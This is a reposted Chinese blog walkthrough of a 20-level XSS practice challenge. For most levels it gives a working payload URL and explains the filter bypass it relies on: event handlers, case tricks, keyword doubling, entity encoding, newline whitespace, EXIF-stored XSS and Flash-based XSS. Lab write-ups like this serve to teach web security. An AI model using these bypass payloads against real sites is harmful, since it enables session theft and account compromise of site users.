技术笔记

XSS通关小游戏以及我的挑战思路分享(XSS绕过代码)

字号+ 作者:Linxinyu 来源:转载 2016-11-26 13:50 我要评论( )

一、前言 本文原创作者:Linxinyu 首先声明,本次XSS挑战的链接为http://sqler.win,感谢站点的主人搭建了这么好的环境。本文中的payload只是抛砖引玉,我水平有限......

一、前言

本文原创作者:Linxinyu

首先声明,本次XSS挑战的链接为http://sqler.win  ,感谢站点的主人搭建了这么好的环境。本文中的payload只是抛砖引玉,我水平有限,不能每个payload都写的最短最好,还是以完成挑战为目的。希望大家集思广益,有好的想法与我多多交流,谢谢大家。
 
大家可以先行试玩,看看自己的水平以及体验乐趣,如若感觉力有所逮,那么变来回复获取秘籍吧!
 

本次XSS挑战的链接为http://sqler.win

二、正文【通关攻略】

   第一关:第一关比较简单,直接写入标签就可以,这里不多说了,payload如下: http://sqler.win/xss/level1.php?name=test%3Csvg/onload=alert(1)%3E


  第二关: 第二关是比较典型的搜索框XSS,搜索内容直接写入input标签内,这里有很多种XSS的方式,我的payload是http://sqler.win/xss  /level2.php?keyword=test%22%3E%3Csvg/onload=alert(1)%3E



   第三关:这一关无论是"还是<>都跳不出value标签,故我们尝试别的特殊字符,发现'号可以跳出标签,故构造以下payload: http://sqler.win/xss/level3.php?keyword=try%20harder!%27onmouseover=%27alert(1)%27



   第四关: 这一关过滤了 < 和 >,用 " 闭合value标签,网站防火墙过滤了onmouseover,故换一个on事件执行,我选取的是 onfocus,payload如下: http://sqler.win/xss/level4.php?keyword=1%22%20onfocus=alert(1)%20autofocus=%22&submit=%E6%90%9C%E7%B4%A2



    第五关:这一关检测到 on 就会转义成o_n,故On事件执行不了,网站防火墙拦截了img和script标签,我的办法是闭合标签后,写入超链接,点击触发。 http://sqler.win/xss/level5.php?keyword=1%22%3E%3Ca+href%3D%22javascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2



    第六关:这一关情况和上一关类似,我们直接用上一关的payload,发现不能执行,看源码,原来是把href转义成了hr_ef,故把href改变大小写,改为hRef,绕过过滤,payload如下: http://sqler.win/xss/level6.php?keyword=break+it+out%22%3E%3Ca+hrEf%3D%22javascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2



   第七关:这一关相比上一关,只要检测到on,href,src,script等关键字,会直接过滤成空,故采用经典的scrSCRIPTipt方式绕过过滤,故payload如下: http://sqler.win/xss/level7.php?keyword=move+up%22%3E%3Ca/HREHREFF=%22javascriscriptpt:alert(1)%22%3E&submit=%E6%90%9C%E7%B4%A2



    第八关:这一关终于不是input标签了,逻辑是输入超链接的链接值,然后后端帮你生成超链接。尝试直接写人 javascript:alert(1) ,系统会把javascript转义成javascr_ipt,故考虑将script做实体编码,将r编码成r提交,payload为: http://sqler.win/xss/level8.php?keyword=javasc%26%23114%3Bipt%3Aalert%281%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5



    第九关:和第八关一样的界面,尝试上一关的payload,提示”链接不合法“,猜测一下,可能是规定链接以http://开头才行?故尝试提交 http://test,果然链接写进去了,但是这样如何才能构造javascript语句呢,再测试一下,是不是只要有http://就可以,而不用放 在开头呢,故尝试提交javascript:alert("http://"),果然不提示链接不合法了,但是双引号被编码了,所以故继续实体编码,将一 个第一个双引号编码成",可绕过过滤。此处也可以用两个反单引号`来绕过对”的过滤。payload如下: http://sqler.win/xss/level9.php?keyword=javasc%26%23114ipt%3Aalert%28%26%2334%3Bhttp%3A%2F%2F%22%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5



   第十关:又是一种新的形式了,查看源代码,可以发现三个隐藏的input标签,故修改源代码,将type="hidden"改为 type="text",分别输入2,3,4并回车,发现t_sort参数可以写入值,故用"闭合标签,并在input框提交如下参数 “ onmouseover='alert(1)' type="text",故完整payload如下: http://sqler.win/xss/level10.php?t_link=&t_history=2&t_sort=4%22%20onmouseover=%27alert(2)%27%20type=%22text%22



  第十一关: 查看源码:  可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入” onmouseover='alert(1)' type="text"。个人认为这个漏洞的利用可遇不可求,可以百度一下有关referer XSS 的利用方式,我这里采取的是自欺欺人的方式,因为实际情况不可能去抓包修改其他人的referer,自己构造一个可以触发这个漏洞的页面才是正确过关的方 法。这里主要以了解漏洞的原理为主,我采取的是偷懒只图过关的做法。

  

  第十二关: 查看源码,与上一关类似,取了http头部的"User-Agent"参数,思路与上一题一致。



  第十三关:  抓包得知,是cookie中的参数传入导致XSS,故此处修改cookie可触发XSS。



  第十四关: 查看源码得知,嵌入了一个iframe页面,访问这个网站http://www.exifviewer.org/,是查看图片的EXIF信息的网站,说明这是文件上传图片的XSS。想到上半年补天爆出来的乌云EXIF存储型XSS,传送门: http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0194934.html 漏洞原理是通过修改图片的exif信息,造成解析图片exif触发XSS。利用工具推荐exiftool。题中给的网站我传了一张图片,成功弹窗,解析地址如下: http://www.exifviewer.org/FW/result.php?name=616e8a17b042371baf608c311a9a3d46&tscachebusttamp=1479559371223



  第十五关: 这一关题中给的链接有误,正确的链接如下: sqler.win/xss/level15.php?src==1.gif。这一关像是用了Angular Js, 但是这个漏洞不是很熟悉,不能给出payload,大家有兴趣可以自己研究研究。如果大牛有答案带带我。



  第十六关:简单测试得出,这一关可以直接写入标签,难点在于过滤了空格,/ 等连接符,故用%0d换行符绕过,可写入标签。payload如下: http://sqler.win/xss/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert(2)%3Ealert(2)



  第十七关: 这一关,将arg01和arg02的参数分别写入src的值中,并过滤了尖括号,导致不能闭合标签。因为本身是在embed标签中,故考虑,能不能在 arg02中,写入事件来触发XSS。答案是可以的,这里采用onmousedown标签,构造arg02参数的值为 onmousedown=alert(1),点击页面嵌入的swf可触发XSS。完整payload如下: http://sqler.win/xss/level17.php?arg01=a&arg02=%20onmousedown=alert(2)



  第十八关:这一关和上一关很类似,但是需要有一点点的转变,经过尝试发现,在arg02参数无论加什么字符都无法构造空格,那转移注意力,尝试arg01,果然,arg01是可以构造的,参考上一关的payload,完整payload如下: http://sqler.win/xss/level18.php?arg01=a%20onmousedown=alert(2)&arg02=b



  第十九关:这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,我用的是JPEXS这款工具。发现是actionscript 2.0,首先定位getURL函数,

sIFR.menuItems.push(new ContextMenuItem("Followlink",function()

{

getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);

}),new ContextMenuItem("Open link in new window",function()

{

getURL(sIFR.instance.primaryLink,"_blank");

}));

再追踪到sIFR的内容,省略了一些代码,关键代码如下:

if(_loc5_ && _root.version != sIFR.VERSION)

{

_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);

}

得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:

function contentIsLink()

{

return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);

}


所以构造最终payload,如下:

http://sqler.win/xss/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E

点击传入进去的’xss_by_SST‘就可以触发XSS。




   第20关:将swf下载下下来分析得知是zeroclipboard.swf , 百度一下,有漏洞详情,构造payload如下:http://sqler.win/xss/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

 

三、总结

再一次感谢这个网站和出题者。我做题的过程中难免有疏漏之处,如有错误欢迎各位指正,大牛求轻喷。个人认为这个挑战主要以熟悉各种XSS漏洞的形式为主,还有常见的绕过方式,难度适中,很适合小伙伴们巩固并提高XSS的相关知识。我的邮箱:haqi2628@163.com

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/308.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • xss字符过大多waf思路

    xss字符过大多waf思路

    2017-04-18 08:42

  • XSS构造剖析

    XSS构造剖析

    2016-12-19 14:31

  • XSS后门的使用及隐藏

    XSS后门的使用及隐藏

    2016-12-18 14:38

  • XSS Phishing (XSS钓鱼)

    XSS Phishing (XSS钓鱼)

    2016-11-27 16:24

网友点评
暂时未开启评论功能~